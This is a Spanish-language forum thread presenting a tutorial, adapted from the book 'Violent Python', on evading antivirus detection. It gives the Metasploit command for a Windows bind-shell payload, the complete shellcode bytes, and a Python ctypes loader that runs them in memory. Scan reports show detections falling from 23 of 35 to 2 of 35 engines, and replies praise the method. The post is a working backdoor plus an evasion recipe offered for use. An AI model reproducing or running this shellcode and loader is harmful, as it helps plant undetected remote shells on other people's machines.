Evadiendo AV's con Python

Iniciado por Sanko, Enero 06, 2013, 10:16:38 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.



Buenas , coincidio estaba leyendo un librito (Violent Python) y un capítulo trataba sobre la evasión de antivirus...
Muchos me comentaban que conocían el libro pero que nunca les dio por leerlo, entre las principales razones pues por lo de siempre...

- "ESTA EN INGLÉS y como esta en inglés pues NO LO ENTIENDO BIEN"

Bueno , en este caso voy a "adaptar" un capítulo qué me llamo la antención para que veaís que no es dificil de leerlo y que pues bueno a veces por no leer en inglés os perdeís conocer muchas cosas interesantes...

Al lio...
1. Generar shellcode con código malicioso en msf(metasploit).
2. Escribir el script en python que nos permita ejecutar ese código.

1. Generar shellcode con código malicioso en msf(metasploit):

Abrimos msf :
Código: bash
sanko@Sanko-PC ~ $ su
Password:
Sanko-PC sanko # msfconsole


y generaremos este payload , escribimos :
Código: bash
msfpayload windows/shell_bind_tcp LPORT=1337 C


Aqui nos genera el shellcode
:


Ahora pasaremos directamente ese shellcode a exe y escanearemos :


y lo analizamos en un scanner online para por cuantos av's es detectado :


BBCode :
[spoiler] RESULTS:   23/35
AVG Free - Trojan horse Agent_r.OV
ArcaVir -
Avast 5 - Win32:Sileco [Trj]
AntiVir (Avira) - TR/Crypt.XPACK.Gen5
BitDefender - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
VirusBuster  -
Clam  - Trojan.MSF_Shellcode
COMODO  - TrojWare.Win32.TrojanDownloader.Small.~AOLO@104254503
Dr.Web - Trojan.Packed.196
eTrust-Vet - Win32/ASuspect.HHGCP
F-PROT  - W32/SmallTrojan.M.gen!Eldorado (generic, not disinfectable)
F-Secure  - Trojan:W32/Shell2Exe.A
G Data - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, Win32:Sileco [Trj]
IKARUS  - Trojan.Win32.Swrort
Kaspersky  -
McAfee - Generic Downloader.fa
MS  Essentials - TrojanDownloader:Win32/Sileco.A
ESET NOD32 - Trojan.Win32/Shellcode2EXE.A
Norman - winpe/Swrort.A
Norton  -
Panda  -
A-Squared - Trojan.Win32.Swrort!IK
Quick Heal  - Trojan.Agent.ATV.n3
Solo  -
Sophos - Mal/Silvana-B
Trend Micro  - TROJ_SMALL.SMJ2
VBA32  -
Vexira  -
Zoner AntiVirus -
Ad-Aware -
BullGuard - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Immunet  - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
K7 Ultimate - Riskware ( 22533fae0 )
NANO  -
VIPRE -

File Name      shellcode.exe
File Size:   20572
File MD5:    2be1f303fa36ac3d6d5e00f38fadc551
File SHA1:   58b63498b305df218cce0949a02ab91832d96348
Check Time:  2013-01-07 02:19:27

Scan report generated by
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[/spoiler]

23/35 , BUFF , muy quemado...

Pero esto se puede solucionar con nuestro queridito python...
Escribiremos un script que creara un buffer-string y que luego lo ejecute en memoria a traves de un módulo(API) -> Ctypes

Escribamos el script pues :

Código: python
from ctypes import *

shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")

memoria = create_string_buffer(shellcode, len(shellcode))
shell = cast(memoria, CFUNCTYPE(c_void_p))
shell()


Ahora lo pasamos a aplicación con py2exe y lo escaneamos de nuevo:
ç

BBCode:
[spoiler] RESULTS:   2/35
AVG Free -
ArcaVir -
Avast 5 - Win32:Hijack-GL [Trj]
AntiVir (Avira) -
BitDefender -
VirusBuster  -
Clam  -
COMODO  -
Dr.Web -
eTrust-Vet -
F-PROT  -
F-Secure  -
G Data -
IKARUS  -
Kaspersky  -
McAfee -
MS  Essentials - Trojan:Win32/Swrort.A
ESET NOD32 -
Norman -
Norton  -
Panda  -
A-Squared -
Quick Heal  -
Solo  -
Sophos -
Trend Micro  -
VBA32  -
Vexira  -
Zoner AntiVirus -
Ad-Aware -
BullGuard -
Immunet  -
K7 Ultimate -
NANO  -
VIPRE -

File Name      Bindshell.exe
File Size:   3440179
File MD5:    b36d2d0ba10d154436add0ea1635e6ec
File SHA1:   f96b7843f16ee4670e0c27f1d5a9a0ccdf71b4e3
Check Time:  2013-01-07 01:30:55

Scan report generated by
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[/spoiler]

Avast y Essentials.. link reporte = No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora comprobemos que el payload se ejecuta correctamente...


Todo correcto al parecer...
Bueno, con esto es todo , espero os agradará el articulo.

Un Saludo ,
Sanko.

Referencias : Creditos para el libro "Violent Python" esto tan solo es una explicación basada en lo que leí.
Traducido al español y explicado como me parecio más adecuado.
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Vamos, que está excelente este tutorial ehh..
Sin dudas a echarle la practica ;) un saludo Sanko.



Muy bien explicado.
Gracias Sanko

"Violent Python" es un libro genial, ademas de este método para evadir AV, también hay otros recursos muy interesantes sobre el uso de python en actividades de pentesting.
Muchas gracias por mencionar el texto y por el aporte (que te ha quedado muy bien, por cierto  :D).
Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

"Nunca discutas con un idiota, podria no notarse la diferencia"
Kant.

Excelente libro! Totalmente recomendado!

Es increíble las múltiples herramientas de las que disponemos al utilizar python en temas como éstos.

Gracias por compartir!

Saludos!
WhiZ